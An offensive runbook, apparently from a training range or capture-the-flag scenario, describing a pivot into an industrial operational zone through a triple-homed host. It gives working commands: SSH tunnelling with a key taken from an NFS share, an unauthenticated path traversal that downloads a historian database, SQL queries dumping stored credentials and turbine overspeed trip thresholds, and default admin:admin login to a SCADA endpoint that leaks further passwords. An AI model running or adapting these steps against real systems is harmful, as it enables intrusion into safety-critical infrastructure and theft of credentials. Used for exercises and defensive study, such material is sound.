Runbook: SSH pivot through wizzards-retreat¶
Situation¶
unseen-gate (10.10.0.5) has no route to the operational zone (10.10.2.0/24). wizzards-retreat is triple-homed: internet NIC at 10.10.0.10, operational NIC at 10.10.2.3. SSH port forwarding through wizzards-retreat bridges the gap without ever routing through the inter-zone firewalls.
Prerequisites¶
SSH key for rincewind at
~/.ssh/rincewind_id_ed25519(from the NFS share on wizzards-retreat)Addresses of operational zone services: from notes.txt on the same NFS share
Historian web: 10.10.2.10:8080
SCADA web: 10.10.2.20:8080
Historian: reconnaissance via tunnel¶
ssh -i ~/.ssh/rincewind_id_ed25519 -L 18080:10.10.2.10:8080 -N rincewind@10.10.0.10 &
curl -s "http://127.0.0.1:18080/assets"
curl -s "http://127.0.0.1:18080/report?asset=turbine_rpm&from=2024-01-01&to=2099-01-01"
curl -s "http://127.0.0.1:18080/export?tag=../historian.db" -o ~/loot/historian.db
The /export path traversal needs no credentials. Once downloaded, query the database:
python3 -c "import sqlite3; [print(r) for r in sqlite3.connect('loot/historian.db').execute('SELECT * FROM config;')]"
python3 -c "import sqlite3; [print(r) for r in sqlite3.connect('loot/historian.db').execute('SELECT * FROM alarm_config;')]"
config returns credential pairs: database, SSH, and ingest accounts. alarm_config has
trip thresholds per asset, including the overspeed trip at 3300 RPM.
Distribution SCADA: credential leak via /config¶
ssh -i ~/.ssh/rincewind_id_ed25519 -L 18081:10.10.2.20:8080 -N rincewind@10.10.0.10 &
curl -s http://127.0.0.1:18081/config -u admin:admin
The /config endpoint returns historian read credentials, an SMTP password, and the web
credentials. Left over from a monitoring integration.